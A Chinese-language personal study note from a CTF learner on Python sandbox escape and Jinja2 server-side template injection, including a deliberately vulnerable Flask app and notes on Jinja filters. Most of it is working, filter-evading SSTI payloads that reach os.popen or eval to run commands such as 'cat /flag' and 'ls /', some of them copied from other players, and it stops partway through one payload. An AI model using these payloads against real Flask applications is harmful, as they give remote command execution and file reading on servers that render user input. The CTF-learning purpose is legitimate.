Python 沙箱逃逸

python2

print(().__class__.__mro__[-1].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['system']('ls'))

image-20210327172133123

以前都不是很懂!再来捋一捋!

__import__() 函数用于动态加载类和函数 。

__import__("os").system("ls")

__builtins__ 【重点】内置函数在这里面

Python 的内建对象

image-20210327173158981

Python __dict__属性详解

https://blog.csdn.net/mr_hui_/article/details/82941038

虽然说一切皆对象,但对象也有不同,就好比不是每个人的女朋友都是一个人一样,一些内置的数据类型是没有__dict__属性的,如下:

2.内置函数

https://docs.python.org/2/library/functions.html

Python——内置函数+内置变量+内置模块

python查找可用模块

脚本

import re

a = '''
'''

list = a.split(',')
print(list)

for i in range(len(list)):
# print(i)
if (re.search('war', list[i])):
print("i:",i,list[i],)

python linecache 模块读取文件用法详解

linecache

linecache — 随机读写文本行linecache 模块允许从一个Python 源文件中获取任意的行,并会尝试使用缓存进行内部优化,常应用于从单个文件读取多行的场合。 此模块被 traceback 模块用来提取源码行以便包含在格式化的回溯中。

https://doc.yonyoucloud.com/doc/wiki/project/python-actual-combat/tutorial-7.html

小小总结

通过上面的一些绕过姿势我们发现,无外乎是利用 subclasses 中的一些特殊的方法或者模块然后来调用一些函数或者模块来读取文件,或者执行命令,那么我们可以遍历所有的系统库,然后找到所有的使用了os等模块的模块,最后遍历 subclasses 列表,找到所有可以绕过的姿势。

太多了太多了!

自我感受:

首先明白沙箱和ssti的原理!

就是绕过waf getshell

怎么getshell呢

().__class__.__bases__[0]

先找到基类!

['__subcla'+'sses__']()[133]

再从基类里找 可以利用 subclasses 中的一些特殊的方法或者模块然后来调用一些函数或者模块来读取文件,或者执行命令,那么我们可以遍历所有的系统库,然后找到所有的使用了os等模块的模块,最后遍历 subclasses 列表,找到所有可以绕过的姿势。

思路

有时候对象都被办了!

还要先去找一找对象!再通过这个对象找到object 再 subclasses 找到所以子类!找到类里的os|file类等等 然后.__init__.__globals__ 看类里的__init__函数将其实例化,然后用__globals__查看其全局类里变量和函数!

再从全局变量里面找到可以利用的方法|模块!

有时候可以直接__builtins__ 【重点】内置函数在这里面

看类里面有没有__builtins__这个。可以通过builtins获取系统函数直接rce!

Python沙箱逃逸总结

Python 沙箱逃逸

心里有乱!需要稍微静下! 😫😫😫😫

大体上知识点!就折磨多!就是

一定要找到思路!

做题的时候!可以根据python版本先试一试payload!

不行就看waf掉什么!自己再找一找可以用的类!或者替换东西!

二次学习 应该是n次了!😰

目标:

这次去过滤学习学习! 还有自定义过滤器!

虽然实战少吧! 但是大ctf多! 虽然不能写payload! 但是payload构造原理一定要懂!

https://xz.aliyun.com/t/8029#toc-2

{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__buil'+'tins__'][request.args.get('key')]('__import__("os").popen("calc").read()')}}&key=eval


过滤

下面这篇过滤 还有为什么过滤讲的好!

https://xz.aliyun.com/t/6885

https://www.anquanke.com/post/id/188172#h3-3

4.__builtins__与__builtin__的简单区别

https://blog.51cto.com/xpleaf/1764849

__builtins__知道他是内建函数就行了! chr() ord()

内建函数

当我们启动一个python解释器时,及时没有创建任何变量或者函数,还是会有很多函数可以使用,我们称之为内建函数。

内建函数并不需要我们自己做定义,而是在启动python解释器的时候,就已经导入到内存中供我们使用,想要了解这里面的工作原理,我们可以从名称空间开始。

名称空间在python是个非常重要的概念,它是从名称到对象的映射,而在python程序的执行过程中,至少会存在两个名称空间

内建名称空间:python自带的名字,在python解释器启动时产生,存放一些python内置的名字

全局名称空间:在执行文件时,存放文件级别定义的名字

局部名称空间(可能不存在):在执行文件的过程中,如果调用了函数,则会产生该函数的名称空间,用来存放该函数内定义的名字,该名字在函数调用时生效,调用结束后失效

加载顺序:内置名称空间------>全局名称空间----->局部名称空间
名字的查找顺序:局部名称空间------>全局名称空间----->内置名称空间

魔术函数

这里介绍几个常见的魔术函数,有助于后续的理解

  • __dict__类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的dict__里的对象的__dict__中存储了一些self.xxx的一些东西内置的数据类型没有__dict__属性每个类有自己的__dict__属性,就算存在继承关系,父类的__dict 并不会影响子类的dict__对象也有自己的__dict__属性, 存储self.xxx 信息,父子类对象公用__dict

  • __globals__该属性是函数特有的属性,记录当前文件全局变量的值,如果某个文件调用了os、sys等库,但我们只能访问该文件某个函数或者某个对象,那么我们就可以利用globals属性访问全局的变量。该属性保存的是函数全局变量的字典引用。

  • __getattribute__()实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。

学习路线

看看flask

看看jinja2

看看ssti思路

https://www.bilibili.com/video/BV1zi4y1x7QM?t=2918

再看过滤什么的

看看payload!自己构造!

ssti考点

SECRET_KEY+jwt

pin码

RCE

自己搜吧

方便脚本

http://127.0.0.1:5000/login?name={{''.__class__.__mro__[2].__subclasses__()}}

看完子类后:

用脚本看看有没有可以用的东西:

my_open = open('g:/2.txt', 'w')
for i in []:
my_open.write(i+"\n")

#在文件中写入一个字符串
my_open.close()

看看有没有可以用的方法或者

用内部Filters测试

join

join(value, d=’’, attribute=None)

Return a string which is the concatenation of the strings in the sequence. The separator between elements is an empty string per default, you can define it with the optional parameter:

{{ [1, 2, 3]|join('|') }}
-> 1|2|3

{{ [1, 2, 3]|join }}
-> 123

It is also possible to join certain attributes of an object:

{{ users|join(', ', attribute='username') }}

有一点注意: 就是如果前面是字典类型:只会取key值!

join会自动识别变量!

不是变量的化要加引号!

下面有测试环境:

python2.7的环境

image-20210401163940795

http://127.0.0.1:5000/login?name={%set a=dict(p=aa,op=aa)|join%}{%print(a)%}

|

Filters

Variables can be modified by filters. Filters are separated from the variable by a pipe symbol (|) and may have optional arguments in parentheses. Multiple filters can be chained. The output of one filter is applied to the next.

For example, {{ name|striptags|title }} will remove all HTML Tags from variable name and title-case the output (title(striptags(name))).

Filters that accept arguments have parentheses around the arguments, just like a function call. For example: {{ listx|join(', ') }} will join a list with commas (str.join(', ', listx)).

The List of Builtin Filters below describes all the builtin filters.

变量可以修改过滤器。过滤器是由管分离变量符号(|)和可选参数在括号中。可以链接多个过滤器。一个滤波器的输出到下一个应用。

attr a.b

attr(obj, name)

Get an attribute of an object. foo|attr("bar") works like foo.bar just that always an attribute is returned and items are not looked up.

a|attr(b)

a.b

lipsum

lipsum(n=5, html=True, min=20, max=100)

Generates some lorem ipsum for the template. By default, five paragraphs of HTML are generated with each paragraph between 20 and 100 words. If html is False, regular text is returned. This is useful to generate simple contents for layout testing.

生成一些lorem ipsum模板。默认情况下,五个段落生成HTML的每一段20到100字。如果html是假的,定期返回文本。这是有用的生成简单的布局测试的内容。     

可以理解常变成html文本

string

变成字符串

哪些list同一个意思

__getitem __ foo['bar']

Implementation

For the sake of convenience, foo.bar in Jinja does the following things on the Python layer:

  • check for an attribute called bar on foo (getattr(foo, 'bar'))
  • if there is not, check for an item 'bar' in foo (foo.__getitem__('bar'))
  • if there is not, return an undefined object.

foo['bar'] works mostly the same with a small difference in sequence:

  • check for an item 'bar' in foo. (foo.__getitem__('bar'))
  • if there is not, check for an attribute called bar on foo. (getattr(foo, 'bar'))
  • if there is not, return an undefined object.

This is important if an object has an item and attribute with the same name. Additionally, the attr() filter only looks up attributes.

就是foo.bar另一种形式

lipsum

演示

就是一个检测的模板!就是一个html模板!

image-20210401234746759

image-20210401234723421

image-20210408175536494

image-20210408175550697

看到下划线在18位置上!

我们用py里 列表的pop方法获取它!list_pop=list1.pop(1)

image-20210408181303793

找到我们pop方法!

image-20210408181322469

py3可以用特殊字符绕过!!!🙄

dict

dict(**items)

A convenient alternative to dict literals. {'foo': 'bar'} is the same as dict(foo='bar').

getitem 是list 内置函数

就是代替[] 的

就是

https://blog.csdn.net/yuan_j_y/article/details/9317817

a[0]与a.getitem(0)的效果是一样的

image-20210402001540128

getattribute vs getattr 内置函数

他是类的 替换class a()

a.fun

Python getattribute vs getattr 浅谈

__getattribute__是属性访问拦截器,就是当这个类的属性被访问时,会自动调用类的__getattribute__方法。
通过__getattribute__我们可以传字符串来进行方法的调用

>>> class Test(object):
... def __init__(self):
... self.name='Test'
... def echo(self):
... print(self.name)
...
>>> a=Test()
>>> a.__getattribute__('echo')()
Test

pop() 函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。

POP

pop()方法语法:

list.pop([index=-1])
  • obj – 可选参数,要移除列表元素的索引值,不能超过列表总长度,默认为 index=-1,删除最后一个列表值。

该方法返回从列表中移除的元素对象。

以下实例展示了 pop()函数的使用方法:

#!/usr/bin/python3
#coding=utf-8

list1 = ['Google', 'Runoob', 'Taobao']
list_pop=list1.pop(1)
print "删除的项为 :", list_pop
print "列表现在为 : ", list1

删除的项为 : Runoob
列表现在为 : ['Google', 'Taobao']

index()

index() 函数用于从列表中找出某个值第一个匹配项的索引位置。

#!/usr/bin/python
# -- coding: UTF-8 --

aList = [123, ‘xyz’, ‘runoob’, ‘abc’]

print “xyz 索引位置: “, aList.index( ‘xyz’ )
print “runoob 索引位置 : “, aList.index( ‘runoob’, 1, 3 )

image-20210408193527847

例题

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 2021/8/5 19:01
# @Author : upload
# @File : pp.py
# @Software: PyCharm

from flask import Flask
from flask import render_template
from flask import request
from flask import render_template_string

app = Flask(__name__)


@app.route('/')
def test():
code = request.args.get('id')
html = '''
<h3>%s</h3>
''' % (code)
return render_template_string(html)


if __name__ == '__main__':
app.debug = True
app.run()

自己测试

python3

https://www.compart.com/en/unicode

unicode网站


{%set a=dict(po=aa,p=aa)|join%} # pop
{%set b=lipsum|string|list|attr(a)(𝟙𝟠)%} # _
{%set c=(b,b,dict(glob=cc,als=aa)|join,b,b)|join%} # globals
{%set d=(b,b,dict(ge=cc,tit=dd,em=aa)|join,b,b)|join%} # getitem
{%set e=dict(o=cc,s=aa)|join%} # os
{%set f=lipsum|string|list|attr(a)(𝟡)%} # 空格
{%set g=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-𝟠)%} # 斜杠
{%set fl=(dict(cat=aa)|join,f,g,dict(flag=aa)|join)|join%} # cat /flag

{%set di=(dict(di=aa)|join,dict(r=aa)|join)|join%} #dir

{%set h=(a,dict(en=aa)|join|join)|join%} # popen
{%set i=dict(re=aa,ad=aa)|join%} # read
{%set z=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-𝟝)%} #点
{%set j=(dict(ls=aa)|join,f,g,(dict(var=aa)|join),g,(dict(www=aa)|join),g,(dict(flask=aa)|join)|join)|join%} #ls /var/www/flask
{%set j=(dict(ls=aa)|join,f,z|join)|join%}
#ls .
{%print (((lipsum|attr(c))|attr(d)(e))|attr(h)(j))|attr(i)()%}{{j}}
#最后拼接起来
#{{lipsum.__globals__['os'].popen('ls /var/www/flask').read()}}



{{lipsum~.__globals__}}

{%set a=dict(po=aa,p=aa)|join%}{%set b=lipsum|string|list|attr(a)(𝟙𝟠)%}{%set c=(b,b,dict(glob=cc,als=aa)|join,b,b)|join%}{%set d=(b,b,dict(ge=cc,tit=dd,em=aa)|join,b,b)|join%}{%set e=dict(o=cc,s=aa)|join%}{%set f=lipsum|string|list|attr(a)(𝟡)%}{%set g=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-𝟠)%}{%set fl=(dict(cat=aa)|join,f,g,dict(flag=aa)|join)|join%}{%set h=(a,dict(en=aa)|join|join)|join%}{%set i=dict(re=aa,ad=aa)|join%}{%set z=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-𝟝)%}
{%set a=dict(po=aa,p=aa)|join%} # pop
{%set b=lipsum|string|list|attr(a)(𝟙𝟠)%} # _
{%set c=(b,b,dict(glob=cc,als=aa)|join,b,b)|join%} # globals
{%set d=(b,b,dict(ge=cc,tit=dd,em=aa)|join,b,b)|join%} # getitem
{%set e=dict(o=cc,s=aa)|join%} # os
{%set f=lipsum|string|list|attr(a)(𝟡)%} # 空格
{%set di=(dict(di=aa)|join,dict(r=aa)|join)|join%} #dir
{%set h=(a,dict(en=aa)|join|join)|join%} # popen
{%set i=dict(re=aa,ad=aa)|join%} # read
{%set z=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-𝟝)%} #点

着个lipsum还是别拼接了!因为第一个就拼接 就被当成字符串了!
{%set li=((dict(lip=s)|join,dict(sum=aa)|join)|join)%}{{li}} #lipsum


本来想着字符串拼接然后执行的!
{{lipsum.__globals__['os'].popen('dir').read()}}
但是字符串不能执行!
{{lipsum~b~b~c~b~b~'['~e~']'~z~h~'('~di~')'~z~i~'()'}}
{%set upload=lipsum~b~b~c~b~b~'['~e~']'~z~h~'('~di~')'~z~i~'()'%}{{li}}

哪直接写!
参考大佬的仿照写!
{%print (((lipsum|attr(c))|attr(d)(e))|attr(h)(j))|attr(i)()%}
判断语句里{%%} 要print输出

{{(lipsum|attr(gb))|attr(gt)(ooqq)|attr(ppe)(shell)|attr(rd)()}}
变量语句{{}}直接执行

payload:
{{(((lipsum|attr(c))|attr(d)(e))|attr(h)(di))|attr(i)()}}

{%print (((lipsum|attr(c))|attr(d)(e))|attr(h)(di))|attr(i)()%}


image-20210408184620966

image-20210408184634564

字符串不能执行!还是直接写把!

image-20210408185011214

image-20210408185613624

image-20210408185627352

最后测试完的payload

{%set%20a=dict(po=aa,p=aa)|join%}{%set%20b=lipsum|string|list|attr(a)(%F0%9D%9F%99%F0%9D%9F%A0)%}{%set%20c=(b,b,dict(glob=cc,als=aa)|join,b,b)|join%}{%set%20d=(b,b,dict(ge=cc,tit=dd,em=aa)|join,b,b)|join%}{%set d=(b,b,dict(ge=cc,tit=dd,em=aa)|join,b,b)|join%}{%set e=dict(o=cc,s=aa)|join%}{%set f=lipsum|string|list|attr(a)(𝟡)%}{%set di=(dict(di=aa)|join,dict(r=aa)|join)|join%}{%set h=(a,dict(en=aa)|join|join)|join%}{%set i=dict(re=aa,ad=aa)|join%}{%set z=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-𝟝)%}{%set li=((dict(lip=s)|join,dict(sum=aa)|join)|join)%}{{(((lipsum|attr(c))|attr(d)(e))|attr(h)(di))|attr(i)()}}

{{(((lipsum|attr(c))|attr(d)(e))|attr(h)(di))|attr(i)()}}是执行语句
{{lipsum.__globals__['os'].popen('dir').read()}}

{%print (((lipsum|attr(c))|attr(d)(e))|attr(h)(di))|attr(i)()%}

baby_flask

可以直接打了!


{%set a=dict(po=aa,p=aa)|join%} # pop
{%set b=lipsum|string|list|attr(a)(𝟙𝟠)%} # _
{%set c=(b,b,dict(glob=cc,als=aa)|join,b,b)|join%} # globals
{%set d=(b,b,dict(ge=cc,tit=dd,em=aa)|join,b,b)|join%} # getitem
{%set e=dict(o=cc,s=aa)|join%} # os
{%set f=lipsum|string|list|attr(a)(𝟡)%} # 空格
{%set g=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-𝟠)%} # 斜杠
{%set fl=(dict(cat=aa)|join,f,g,dict(flag=aa)|join)|join%} # cat /flag

{%set fl=(dict(cat=aa)|join,f,g,dict(*=aa)|join)|join%}

{%set di=(dict(di=aa)|join,dict(r=aa)|join)|join%} #dir

{%set h=(a,dict(en=aa)|join|join)|join%} # popen
{%set i=dict(re=aa,ad=aa)|join%} # read
{%set z=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-𝟝)%} #点
{%set j=(dict(ls=aa)|join,f,g,(dict(var=aa)|join),g,(dict(www=aa)|join),g,(dict(flask=aa)|join)|join)|join%} #ls /var/www/flask
{%print (((lipsum|attr(c))|attr(d)(e))|attr(h)(j))|attr(i)()%}{{j}}
#最后拼接起来
#{{lipsum.__globals__['os'].popen('ls /var/www/flask').read()}}

{%set a=dict(po=aa,p=aa)|join%} # pop
{%set b=lipsum|string|list|attr(a)(𝟙𝟠)%} # _
{%set c=(b,b,dict(glob=cc,als=aa)|join,b,b)|join%} # globals
{%set d=(b,b,dict(ge=cc,tit=dd,em=aa)|join,b,b)|join%} # getitem
{%set e=dict(o=cc,s=aa)|join%} # os
{%set f=lipsum|string|list|attr(a)(𝟡)%} # 空格
{%set g=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-𝟠)%} # 斜杠
{%set fl=(dict(cat=aa)|join,f,g,dict(flag=aa)|join)|join%} # cat /flag

{%set di=(dict(l=aa)|join,dict(s=aa)|join,f,g)|join%} #ls /
{%set di=(dict(l=aa)|join,dict(s=aa)|join)|join%}# ls
{%set di=(dict(di=aa)|join,dict(r=aa)|join)|join%} #dir

{%set h=(a,dict(en=aa)|join|join)|join%} # popen
{%set i=dict(re=aa,ad=aa)|join%} # read
{%set z=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-𝟝)%} #点
{%set j=(dict(ls=aa)|join,f,g,(dict(var=aa)|join),g,(dict(www=aa)|join),g,(dict(flask=aa)|join)|join)|join%} #ls /var/www/flask
{%print (((lipsum|attr(c))|attr(d)(e))|attr(h)(j))|attr(i)()%}{{j}}



{{lipsum.__globals__['os'].popen('ls /').read()}}
{%print (((lipsum|attr(c))|attr(d)(e))|attr(h)(di))|attr(i)()%}


image-20210408190758932

{%set a=dict(po=aa,p=aa)|join%}{%set b=lipsum|string|list|attr(a)(𝟙𝟠)%}{%set c=(b,b,dict(glob=cc,als=aa)|join,b,b)|join%}{%set d=(b,b,dict(ge=cc,tit=dd,em=aa)|join,b,b)|join%}{%set e=dict(o=cc,s=aa)|join%}{%set f=lipsum|string|list|attr(a)(𝟡)%}{%set g=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-𝟠)%}{%set h=(a,dict(en=aa)|join|join)|join%}{%set i=dict(re=aa,ad=aa)|join%}{%set di=(dict(l=aa)|join,dict(s=aa)|join,f,g)|join%}{{(((lipsum|attr(c))|attr(d)(e))|attr(h)(di))|attr(i)()}}



{{lipsum.__globals__['os'].popen('ls /').read()}}
{%print (((lipsum|attr(c))|attr(d)(e))|attr(h)(di))|attr(i)()%}

{{lipsum.__globals__['os'].popen('cat /*').read()}}
{%print (((lipsum|attr(c))|attr(d)(e))|attr(h)(di))|attr(i)()%}

本来想构造*呢!但是不会找,算了!
加上
{%set fl=(dict(cat=aa)|join,f,g,dict(flag=aa)|join)|join%}
就可以了!
{{lipsum.__globals__['os'].popen('cat /flag').read()}}
{%print (((lipsum|attr(c))|attr(d)(e))|attr(h)(fl))|attr(i)()%}

{%set a=dict(po=aa,p=aa)|join%}{%set b=lipsum|string|list|attr(a)(𝟙𝟠)%}{%set c=(b,b,dict(glob=cc,als=aa)|join,b,b)|join%}{%set d=(b,b,dict(ge=cc,tit=dd,em=aa)|join,b,b)|join%}{%set e=dict(o=cc,s=aa)|join%}{%set f=lipsum|string|list|attr(a)(𝟡)%}{%set g=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-𝟠)%}{%set h=(a,dict(en=aa)|join|join)|join%}{%set i=dict(re=aa,ad=aa)|join%}{%set di=(dict(l=aa)|join,dict(s=aa)|join,f,g)|join%}{%set fl=(dict(cat=aa)|join,f,g,dict(flag=aa)|join)|join%}
{{(((lipsum|attr(c))|attr(d)(e))|attr(h)(fl))|attr(i)()}}

还有大佬payload

https://shimo.im/docs/lf9OcEmdH70MC17f/read

Mr.Anonymous

# 首先构造出所需的数字: 
{% set zero = (self|int) %} # 0, 也可以使用lenght过滤器获取数字
{% set one = (zero**zero)|int %} # 1
{% set two = (zero-one-one)|abs %} # 2
{% set four = (two*two)|int %} # 4
{% set five = (two*two*two)-one-one-one %} # 5
{% set three = five-one-one %} # 3
{% set nine = (two*two*two*two-five-one-one) %} # 9
{% set seven = (zero-one-one-five)|abs %} # 7

# 构造出所需的各种字符与字符串:
{% set space = self|string|min %} # 空格
{% set point = self|float|string|min %} # .

{% set c = dict(c=aa)|reverse|first %} # 字符 c
{% set bfh = self|string|urlencode|first %} # 百分号 %
{% set bfhc = bfh~c %} # 这里构造了%c, 之后可以利用这个%c构造任意字符。~用于字符连接
{% set slas = bfhc%((four~seven)|int) %} # 使用%c构造斜杠 /
{% set yin = bfhc%((three~nine)|int) %} # 使用%c构造引号 '
{% set xhx = bfhc%((nine~five)|int) %} # 使用%c构造下划线 _
{% set right = bfhc%((four~one)|int) %} # 使用%c构造右括号 )
{% set left = bfhc%((four~zero)|int) %} # 使用%c构造左括号 (

{% set but = dict(buil=aa,tins=dd)|join %} # builtins
{% set imp = dict(imp=aa,ort=dd)|join %} # import
{% set pon = dict(po=aa,pen=dd)|join %} # popen
{% set so = dict(o=aa,s=dd)|join %} # os
{% set ca = dict(ca=aa,t=dd)|join %} # cat
{% set flg = dict(fl=aa,ag=dd)|join %} # flag
{% set ev = dict(ev=aa,al=dd)|join %} # eval
{% set red = dict(re=aa,ad=dd)|join %} # read
{% set bul = xhx~xhx~but~xhx~xhx %} # __builtins__

{% set ini = dict(ini=aa,t=bb)|join %} # init
{% set glo = dict(glo=aa,bals=bb)|join %} # globals
{% set itm = dict(ite=aa,ms=bb)|join %} # items

# 将上面构造的字符或字符串拼接起来构造出 __import__('os').popen('cat /flag').read():
{% set pld = xhx~xhx~imp~xhx~xhx~left~yin~so~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right %}

# 然后将上面构造的各种变量添加到SSTI万能payload里面就行了:
{% for f,v in (whoami|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))() %} # globals
{% if f == bul %}
{% for a,b in (v|attr(itm))() %} # builtins
{% if a == ev %} # eval
{{b(pld)}} # eval("__import__('os').popen('cat /flag').read()")
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

# 最后的payload如下:
{% set zero = (self|int) %}{% set one = (zero**zero)|int %}{% set two = (zero-one-one)|abs %}{% set four = (two*two)|int %}{% set five = (two*two*two)-one-one-one %}{% set three = five-one-one %}{% set nine = (two*two*two*two-five-one-one) %}{% set seven = (zero-one-one-five)|abs %}{% set space = self|string|min %}{% set point = self|float|string|min %}{% set c = dict(c=aa)|reverse|first %}{% set bfh = self|string|urlencode|first %}{% set bfhc = bfh~c %}{% set slas = bfhc%((four~seven)|int) %}{% set yin = bfhc%((three~nine)|int) %}{% set xhx = bfhc%((nine~five)|int) %}{% set right = bfhc%((four~one)|int) %}{% set left = bfhc%((four~zero)|int) %}{% set but = dict(buil=aa,tins=dd)|join %}{% set imp = dict(imp=aa,ort=dd)|join %}{% set pon = dict(po=aa,pen=dd)|join %}{% set so = dict(o=aa,s=dd)|join %}{% set ca = dict(ca=aa,t=dd)|join %}{% set flg = dict(fl=aa,ag=dd)|join %}{% set ev = dict(ev=aa,al=dd)|join %}{% set red = dict(re=aa,ad=dd)|join %}{% set bul = xhx~xhx~but~xhx~xhx %}{% set ini = dict(ini=aa,t=bb)|join %}{% set glo = dict(glo=aa,bals=bb)|join %}{% set itm = dict(ite=aa,ms=bb)|join %}{% set pld = xhx~xhx~imp~xhx~xhx~left~yin~so~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right %}{% for f,v in (self|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))() %}{% if f == bul %}{% for a,b in (v|attr(itm))() %}{% if a == ev %}{{b(pld)}}{% endif %}{% endfor %}{% endif %}{% endfor %}

Mr.Anonymous

feng师傅

feng师傅
{% set id=dict(ind=a,ex=a)|join%}
{% set pp=dict(po=a,p=a)|join%}
{% set ls=dict(ls=a)|join%}
{% set ppe=dict(po=a,pen=a)|join%}
{% set gt=dict(ge=a,t=a)|join%}
{% set cr=dict(ch=a,r=a)|join%}
{% set nn=dict(n=a)|join%}
{% set tt=dict(t=a)|join%}
{% set ff=dict(f=a)|join%}
{% set ooqq=dict(o=a,s=a)|join %}
{% set rd=dict(re=a,ad=a)|join%}
{% set five=(lipsum|string|list)|attr(id)(tt) %} # 5
{% set three=(lipsum|string|list)|attr(id)(nn) %} # 3
{% set one=(lipsum|string|list)|attr(id)(ff) %} # 1
{% set shiba=five*five-three-three-one %} # 18
{% set xiahuaxian=(lipsum|string|list)|attr(pp)(shiba) %}
{% set gb=(xiahuaxian,xiahuaxian,dict(glob=a,als=a)|join,xiahuaxian,xiahuaxian)|join %} # _
{% set bin=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join %}{% set chcr=(lipsum|attr(gb))|attr(gt)(bin)|attr(gt)(cr) %}
# __builtins__

{% set xiegang=chcr(three*five*five-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one)%}
# /
{% set space=chcr(three*three*five-five-five-three) %}
{% set shell=(ls,space,xiegang,dict(var=a)|join,xiegang,dict(www=a)|join,xiegang,dict(flask=a)|join)|join %}
# ls /var/www/flask

{{(lipsum|attr(gb))|attr(gt)(ooqq)|attr(ppe)(shell)|attr(rd)()}}感觉feng师傅这个比较像预期解
#lipsum.__globals__.get('os').popen('dir').read()

feng师傅{% set id=dict(ind=a,ex=a)|join%}{% set pp=dict(po=a,p=a)|join%}{% set ls=dict(ls=a)|join%}{% set ppe=dict(po=a,pen=a)|join%}{% set gt=dict(ge=a,t=a)|join%}{% set cr=dict(ch=a,r=a)|join%}{% set nn=dict(n=a)|join%}{% set tt=dict(t=a)|join%}{% set ff=dict(f=a)|join%}{% set ooqq=dict(o=a,s=a)|join %}{% set rd=dict(re=a,ad=a)|join%}{% set five=(lipsum|string|list)|attr(id)(tt) %}{% set three=(lipsum|string|list)|attr(id)(nn) %}{% set one=(lipsum|string|list)|attr(id)(ff) %}{% set shiba=five*five-three-three-one %}{% set xiahuaxian=(lipsum|string|list)|attr(pp)(shiba) %}{% set gb=(xiahuaxian,xiahuaxian,dict(glob=a,als=a)|join,xiahuaxian,xiahuaxian)|join %}{% set bin=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join %}{% set chcr=(lipsum|attr(gb))|attr(gt)(bin)|attr(gt)(cr) %}{% set xiegang=chcr(three*five*five-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one)%}{% set space=chcr(three*three*five-five-five-three) %}{% set shell=(ls,space,xiegang,dict(var=a)|join,xiegang,dict(www=a)|join,xiegang,dict(flask=a)|join)|join %}{{(lipsum|attr(gb))|attr(gt)(ooqq)|attr(ppe)(shell)|attr(rd)()}}感觉feng师傅这个比较像预期解

雪殇师傅

雪殇师傅
{% set dot = g|lower|list|sort|join|trim|replace(sq,emp)|list|first %} # '

{%set gar = ()|select|string|lower|unique|list|list|join %}{%set lt = gar|first %}{%set gw = gar|replace(lt, emp)|first %}{%set e = gar|replace(lt, emp)|replace(gw, emp)|first %}{%set n = gar|replace(lt, emp)|replace(gw, emp)|replace(e, emp)|first %}{%set r = gar|replace(lt, emp)|replace(gw, emp)|replace(e, emp)|replace(n, emp)|first %}{%set a = gar|replace(lt, emp)|replace(gw, emp)|replace(e, emp)|replace(n, emp)|replace(r, emp)|first %}{%set t = gar|replace(lt, emp)|replace(gw, emp)|replace(e, emp)|replace(n, emp)|replace(r, emp)|replace(a, emp)|first %}{%set o = gar|replace(lt, emp)|replace(gw, emp)|replace(e, emp)|replace(n, emp)|replace(r, emp)|replace(a, emp)|replace(t, emp)|first %}{%set nbsp = gar|replace(lt, emp)|replace(gw, emp)|replace(e, emp)|replace(n, emp)|replace(r, emp)|replace(a, emp)|replace(t, emp)|replace(o, emp)|first %}{%set b = gar|replace(lt, emp)|replace(gw, emp)|replace(e, emp)|replace(n, emp)|replace(r, emp)|replace(a, emp)|replace(t, emp)|replace(o, emp)|replace(nbsp, emp)|first %}{%set j = gar|replace(lt, emp)|replace(gw, emp)|replace(e, emp)|replace(n, emp)|replace(r, emp)|replace(a, emp)|replace(t, emp)|replace(o, emp)|replace(nbsp, emp)|replace(b, emp)|first %}{%set c = gar|replace(lt, emp)|replace(gw, emp)|replace(e, emp)|replace(n, emp)|replace(r, emp)|replace(a, emp)|replace(t, emp)|replace(o, emp)|replace(nbsp, emp)|replace(b, emp)|replace(j, emp)|first %}{%set s = gar|replace(lt, emp)|replace(gw, emp)|replace(e, emp)|replace(n, emp)|replace(r, emp)|replace(a, emp)|replace(t, emp)|replace(o, emp)|replace(nbsp, emp)|replace(b, emp)|replace(j, emp)|replace(c,emp)|first %}{%set l = gar|replace(lt, emp)|replace(gw, emp)|replace(e, emp)|replace(n, emp)|replace(r, emp)|replace(a, emp)|replace(t, emp)|replace(o, emp)|replace(nbsp, emp)|replace(b, emp)|replace(j, emp)|replace(c,emp)|replace(s,emp)|first %}{%set un = gar|replace(lt, emp)|replace(gw, emp)|replace(e, emp)|replace(n, emp)|replace(r, emp)|replace(a, emp)|replace(t, emp)|replace(o, emp)|replace(nbsp, emp)|replace(b, emp)|replace(j, emp)|replace(c,emp)|replace(s,emp)|replace(l,emp)|first %}{%set kw=dict(warnings=a)|join %}{%set cls=un~un~c~l~a~s~s~un~un%}{%set bsx=dict(ba=a,se=a)|join%}{%set bs=un~un~bsx~un~un %}{%set ints=dict(in=a,t=a)|join %}{%set scx=dict(sub=a,cla=a,sses=a)|join%}{%set sc=un~un~scx~un~un%}{%set name= un~un~dict(na=na,me=me)|join~un~un%}{%set gti = un~un~dict(ge=a,tite=a,m=a)|join~un~un%}{%for x in ()|attr(cls)|attr(bs)|attr(sc)()%}{%if kw in x|attr(name) %}{%set sla = 